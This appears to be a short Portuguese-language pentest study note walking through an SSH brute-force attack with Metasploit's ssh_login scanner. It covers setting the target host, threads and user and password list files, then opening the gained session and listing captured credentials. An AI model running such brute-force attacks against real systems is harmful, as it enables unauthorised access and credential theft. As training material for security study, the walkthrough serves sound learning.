## Ataques de Força Bruta

- + Vamos dar um exemplo de brute force no ssh
- + Podemos criar ou passar listas já existente para dentro do diretório /opt

```
nano /opt/users.txt
nano /opt/pass.txt
```

+ O módulo será o

use auxiliary/scanner/ssh/ssh login

```
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 172.16.1.7
RHOSTS => 172.16.1.7
msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 10
THREADS => 10
msf5 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /opt/users.txt
USER_FILE => /opt/users.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /opt/pass.txt
PASS_FILE => /opt/pass.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
VERBOSE => true
msf5 auxiliary(scanner/ssh/ssh_login) > show options
```

- → Setamos as configurações citadas acima
- → Depois, demos o run

- + Para acessar a sessão, devemos dar o sessions -i 1, supondo ser 1 o Id da sessão
- + Para ver as credenciais salvas: creds